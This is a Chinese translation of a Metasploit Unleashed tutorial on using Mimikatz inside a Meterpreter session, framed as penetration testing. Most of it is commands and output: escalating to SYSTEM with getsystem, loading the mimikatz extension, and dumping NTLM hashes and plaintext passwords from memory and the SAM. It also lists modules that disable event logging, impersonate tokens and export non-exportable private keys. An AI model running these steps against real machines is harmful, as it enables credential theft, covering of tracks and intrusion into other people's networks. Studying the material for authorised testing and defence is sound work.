渗透测试工具Mimikatz ON Metasploit

安全 数据安全
看了各种文章讲神器mimikatz,但是一直没有讲与metasploit使用的。Metasploit其实早就集成了mimikatz,现在将官方的文章翻译给大家。

0x00 背景

看了各种文章讲神器mimikatz,但是一直没有讲与metasploit使用的。Metasploit其实早就集成了mimikatz,现在将官方的文章翻译给大家。

[[115338]]

Mimikatz是Benjamin Delpy (gentilkiwi)写的非常棒的一款后渗透测试工具。在最初渗透阶段之后的大多数时间里,攻击者们可能是想在计算机/网络中得到一个更坚固的立足点。这样做通常需要一组补充的工具。Mimikatz是一种将攻击者想执行的、最有用的任务捆绑在一起的尝试。

幸运地,metasploit已经决定将其作为一个meterpreter脚本来集成mimikatz,允许方便地访问它一系列的特性,而不需要上传任何文件到被盗用主机的磁盘上。

Note:在metasploit中mimikatz的版本是v1.0,然而Benjamin Delpy早已经在他的网站上作为一个独立的包发布了v2.0。这是有必要提出的,因为很多的语法与升级到v2.0已经改变了。

0x01 Loading Mimikatz

在得到一个meterpreter shell后,我们应该确保我们的session是运行在system权限以便让mimikatz正常工作。

  1. meterpreter > getuid  
  2. Server username: WINXP-E95CE571A1\Administrator  
  3. meterpreter > getsystem  
  4. ...got system (via technique 1).  
  5. meterpreter > getuid  
  6. Server username: NT AUTHORITY\SYSTEM  
  7.  

Mimikatz支持32位和64位的windows架构。在升级权限到system后,我们需要通过“sysinfo”命令来确认目标机器的架构。这对于64位机器是有必要的,因为我们可能会破坏一个32位的进程在64位的架构上。如果这样的话,meterpreter将会尝试加载32位版本的mimikatz到内存,将可能会使得大部分的特性不可用。这可以通过查看正在运行的进程列表以及在加载mimikatz之前迁移到64位进程来避免。

  1. meterpreter > sysinfo  
  2. Computer : WINXP-E95CE571A1  
  3. OS : Windows XP (Build 2600, Service Pack 3).  
  4. Architecture : x86  
  5. System Language : en_US  
  6. Meterpreter : x86/win32  
  7. 既然这是一个32位机器,我们可以加载mimikatz模块进内存:  
  8. meterpreter > load mimikatz  
  9. Loading extension mimikatz...success.  
  10. meterpreter > help mimikatz  
  11. # Mimikatz Commands  
  12. Command Description  
  13. ------- -----------  
  14. kerberos Attempt to retrieve kerberos creds  
  15. livessp Attempt to retrieve livessp creds  
  16. mimikatz_command Run a custom commannd  
  17. msv Attempt to retrieve msv creds (hashes)  
  18. ssp Attempt to retrieve ssp creds  
  19. tspkg Attempt to retrieve tspkg creds  
  20. wdigest Attempt to retrieve wdigest creds 

Metasploit提供给我们一些内建的命令来查看mimikatz的最常用的功能:从内存中导出hash以及明文证书。Mimikatz_command选项可以让我们使用mimikatz的全部特性。

  1. meterpreter > mimikatz_command -f version  
  2. mimikatz 1.0 x86 (RC) (Nov 7 2013 08:21:02) 

尽管有些不同寻常,我们仍然可以通过尝试加载一个不存在的特性来得到可用模块的完整列表:

  1. meterpreter > mimikatz_command -f fu::  
  2. Module : 'fu' introuvable  
  3. Modules disponibles :  
  4. - Standard  
  5. crypto - Cryptographie et certificats  
  6. hash - Hash  
  7. system - Gestion système  
  8. process - Manipulation des processus  
  9. thread - Manipulation des threads  
  10. service - Manipulation des services  
  11. privilege - Manipulation des privilèges  
  12. handle - Manipulation des handles  
  13. impersonate - Manipulation tokens d'accès  
  14. winmine - Manipulation du démineur  
  15. minesweeper - Manipulation du démineur 7  
  16. nogpo - Anti-gpo et patchs divers  
  17. samdump - Dump de SAM  
  18. inject - Injecteur de librairies  
  19. ts - Terminal Server  
  20. divers - Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module  
  21. sekurlsa - Dump des sessions courantes par providers LSASS  
  22. efs - Manipulations EFS 

我们可以使用如下的语法来请求某个模块可用的选项:

  1. meterpreter > mimikatz_command -f divers::  
  2. Module : 'divers' identifié, mais commande '' introuvable  
  3. Description du module : Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module  
  4. noroutemon - [experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage  
  5. eventdrop - [super experimental] Patch l'observateur d'événements pour ne plus rien enregistrer  
  6. cancelator - Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session  
  7. secrets - Affiche les secrets utilisateur 

0x02 从内存中读取hash和密码

我们既可以使用metasploit内建的命令也可以使用mimikatz自带的命令来从目标机器上导出hash和明文证书。

Built-In Metasploit: msv credentials

  1. meterpreter > msv  
  2. [+] Running as SYSTEM  
  3. [*] Retrieving msv credentials  
  4. msv credentials 
  5. ===============  
  6.    
  7. AuthID   Package    Domain           User              Password  
  8. ------   -------    ------           ----              --------  
  9. 0;78980  NTLM       WINXP-E95CE571A1  Administrator     lm{ 00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f }  
  10. 0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }  
  11. 0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     n.s. (Credentials KO)  
  12. 0;56683  NTLM                                          n.s. (Credentials KO)  
  13. 0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  n.s. (Credentials KO) 

kerberos credentials

  1. meterpreter > kerberos  
  2. [+] Running as SYSTEM  
  3. [*] Retrieving kerberos credentials  
  4. kerberos credentials 
  5. ====================  
  6.    
  7. AuthID   Package    Domain           User              Password  
  8. ------   -------    ------           ----              --------  
  9. 0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$    
  10. 0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE       
  11. 0;56683  NTLM                                            
  12. 0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE     
  13. 0;78980  NTLM       WINXP-E95CE571A1  Administrator     SuperSecretPassword 

Native Mimikatz:

  1. meterpreter > mimikatz_command -f samdump::hashes  
  2. Ordinateur : winxp-e95ce571a1  
  3. BootKey    : 553d8c1349162121e2a5d3d0f571db7f  
  4.    
  5. Rid  : 500  
  6. User : Administrator  
  7. LM   :   
  8. NTLM : d6eec67681a3be111b5605849505628f  
  9.    
  10. Rid  : 501  
  11. User : Guest  
  12. LM   :   
  13. NTLM :   
  14.    
  15. Rid  : 1000  
  16. User : HelpAssistant  
  17. LM   : 6165cd1a0ebc61e470475c82cd451e14  
  18. NTLM :   
  19.    
  20. Rid  : 1002  
  21. User : SUPPORT_388945a0  
  22. LM   :   
  23. NTLM : 771ee1fce7225b28f8aec4a88aea9b6a  
  24.    
  25. meterpreter > mimikatz_command -f sekurlsa::searchPasswords  
  26. [0] { Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword } 

<前面一句命令在密码超过14位时LM会为空,后一句命令可以得到明文>

0x03 其他的模块

Mimikatz的一些其他模块包含了很多有用的特性,更完整的特性列表可以在Benjamin Delpy的博客 http://blog.gentilkiwi.com/上找到。下面是几个使用实例:

Handle模块可以用来list/kill进程以及模拟用户令牌:

  1. meterpreter > mimikatz_command -f handle::  
  2. Module : 'handle' identifié, mais commande '' introuvable  
  3.    
  4. Description du module : Manipulation des handles  
  5.         list    - Affiche les handles du système (pour le moment juste les processus et tokens)  
  6.  processStop    - Essaye de stopper un ou plusieurs processus en utilisant d'autres handles  
  7. tokenImpersonate        - Essaye d'impersonaliser un token en utilisant d'autres handles  
  8.      nullAcl    - Positionne une ACL null sur des Handles  
  9.    
  10. meterpreter > mimikatz_command -f handle::list  
  11. ...snip...  
  12.   760  lsass.exe                 ->  1004       Token           NT AUTHORITY\NETWORK SERVICE  
  13.   760  lsass.exe                 ->  1008       Process 704     winlogon.exe  
  14.   760  lsass.exe                 ->  1052       Process 980     svchost.exe  
  15.   760  lsass.exe                 ->  1072       Process 2664    fubar.exe  
  16.   760  lsass.exe                 ->  1084       Token           NT AUTHORITY\LOCAL SERVICE  
  17.   760  lsass.exe                 ->  1096       Process 704     winlogon.exe  
  18.   760  lsass.exe                 ->  1264       Process 1124    svchost.exe  
  19.   760  lsass.exe                 ->  1272       Token           NT AUTHORITY\ANONYMOUS LOGON  
  20.   760  lsass.exe                 ->  1276       Process 1804    psia.exe  
  21.   760  lsass.exe                 ->  1352       Process 480     jusched.exe  
  22.   760  lsass.exe                 ->  1360       Process 2056    TPAutoConnSvc.exe  
  23.   760  lsass.exe                 ->  1424       Token           WINXP-E95CE571A1\Administrator  
  24. ...snip... 

Service模块让你可以list/start/stop以及remove windows服务:

  1. meterpreter > mimikatz_command -f service::  
  2. Module : 'service' identifié, mais commande '' introuvable  
  3.    
  4. Description du module : Manipulation des services  
  5.         list    - Liste les services et pilotes  
  6.        start    - Démarre un service ou pilote  
  7.         stop    - Arrête un service ou pilote  
  8.       remove    - Supprime un service ou pilote  
  9.     mimikatz    - Installe et/ou démarre le pilote mimikatz  
  10.    
  11. meterpreter > mimikatz_command -f service::list  
  12. ...snip...  
  13.         WIN32_SHARE_PROCESS     STOPPED RemoteRegistry  Remote Registry  
  14.         KERNEL_DRIVER   RUNNING RFCOMM  Bluetooth Device (RFCOMM Protocol TDI)  
  15.         WIN32_OWN_PROCESS       STOPPED RpcLocator      Remote Procedure Call (RPC) Locator  
  16.   980   WIN32_OWN_PROCESS       RUNNING RpcSs   Remote Procedure Call (RPC)  
  17.         WIN32_OWN_PROCESS       STOPPED RSVP    QoS RSVP  
  18.   760   WIN32_SHARE_PROCESS     RUNNING SamSs   Security Accounts Manager  
  19.         WIN32_SHARE_PROCESS     STOPPED SCardSvr        Smart Card  
  20.  1124   WIN32_SHARE_PROCESS     RUNNING Schedule        Task Scheduler  
  21.         KERNEL_DRIVER   STOPPED Secdrv  Secdrv  
  22.  1124   INTERACTIVE_PROCESS     WIN32_SHARE_PROCESS     RUNNING seclogon        Secondary Logon  
  23.  1804   WIN32_OWN_PROCESS       RUNNING Secunia PSI Agent       Secunia PSI Agent  
  24.  3460   WIN32_OWN_PROCESS       RUNNING Secunia Update Agent    Secunia Update Agent  
  25. ...snip... 

Crypto模块允许你list、export任何证书,以及储存在目标机器上相应的私钥:

  1. meterpreter > mimikatz_command -f crypto::  
  2. Module : 'crypto' identifié, mais commande '' introuvable  
  3.    
  4. Description du module : Cryptographie et certificats  
  5. listProviders   - Liste les providers installés)  
  6.   listStores    - Liste les magasins système  
  7. listCertificates        - Liste les certificats  
  8.     listKeys    - Liste les conteneurs de clés  
  9. exportCertificates      - Exporte les certificats  
  10.   exportKeys    - Exporte les clés  
  11.     patchcng    - [experimental] Patch le gestionnaire de clés pour l'export de clés non exportable  
  12.    patchcapi    - [experimental] Patch la CryptoAPI courante pour l'export de clés non exportable  
  13.    
  14. meterpreter > mimikatz_command -f crypto::listProviders  
  15. Providers CryptoAPI :  
  16.         Gemplus GemSAFE Card CSP v1.0  
  17.         Infineon SICRYPT Base Smart Card CSP  
  18.         Microsoft Base Cryptographic Provider v1.0  
  19.         Microsoft Base DSS and Diffie-Hellman Cryptographic Provider  
  20.         Microsoft Base DSS Cryptographic Provider  
  21.         Microsoft Base Smart Card Crypto Provider  
  22.         Microsoft DH SChannel Cryptographic Provider  
  23.         Microsoft Enhanced Cryptographic Provider v1.0  
  24.         Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider  
  25.         Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)  
  26.         Microsoft RSA SChannel Cryptographic Provider  

Mimikatz也包含许多新奇的特性。最重要的一个就是能够在经典的windows扫描游戏中,直接从内存中读地雷的位置。

 

enter image description here

 

  1. meterpreter > mimikatz_command -f winmine::infos  
  2. Mines           : 99  
  3. Dimension       : 16 lignes x 30 colonnes  
  4. Champ           :   
  5.    
  6.          . . . . . . * . * 1   1 * 1           1 * . . . . . . * . *  
  7.          . . * . . . . . . 1   1 1 1       1 1 2 . * . * * . * * . .  
  8.          . * . . . . . * . 1         1 1 1 1 * . . . * . . * . . . .  
  9.          . . . . . * . * * 2 1     1 2 * . . . * * . . * . . . . * .  
  10.          . . * . . * . . . * 1     1 * . * . . . . . . . * . * . . .  
  11.          . * * . . . . . . . 2 1 1 1 . * . . . . * . . * . . . . . .  
  12.          . . . . . . . . . . . * . . . . . * . . . . . * * . . . . .  
  13.          . . . * . * . . . . . * . * . . . . * . . . . * . . . . . .  
  14.          . . . . . * * . * . * . * . * * . * * * . . . . . . . . * .  
  15.          * * . * . . . 3 1 2 1 2 1 . . * . . * . . * . . * . . . . .  
  16.          . . . . * * * 1         1 . . * * . . . * . . . . . . * . *  
  17.          . . * * * . 3 1     1 1 2 * 2 2 2 . * . . . . . . * . . . .  
  18.          . . . . . * 1   1 1 2 * . 1 1   1 . . . . * . * * * . . . .  
  19.          . . . . . . 1   1 * . . . 1     1 * . . . * . . . . . * . .  
  20.          . . . . . . 1 1 2 . . . * 1     1 1 1 1 * * . * . . . . * .  
  21.          . * . . . . . * . . . * . 1           1 . * . . . . . . . *  

from:http://www.offensive-security.com/metasploit-unleashed/Mimikatz

责任编辑:蓝雨泪 来源: 乌云知识库
相关推荐

2013-11-06 16:38:59

2019-02-26 08:30:48

2012-01-13 15:55:51

2014-11-12 09:24:00

2019-04-03 14:39:28

2021-12-24 11:50:57

渗透测试工具安全工具 防御系统

2017-09-26 08:51:25

2011-06-16 09:38:33

2016-02-16 13:27:20

2015-07-15 09:30:07

2014-11-13 13:15:17

2014-11-26 09:15:20

2013-08-29 17:09:21

2020-09-27 16:37:13

渗透测试工具安全

2010-12-27 09:19:23

2023-07-29 00:10:48

2021-01-21 09:25:22

网络安全渗透测试工具

2018-10-21 08:14:49

2012-01-13 12:18:06

2022-08-03 00:03:10

工具操作系统Kali
点赞
收藏

51CTO技术栈公众号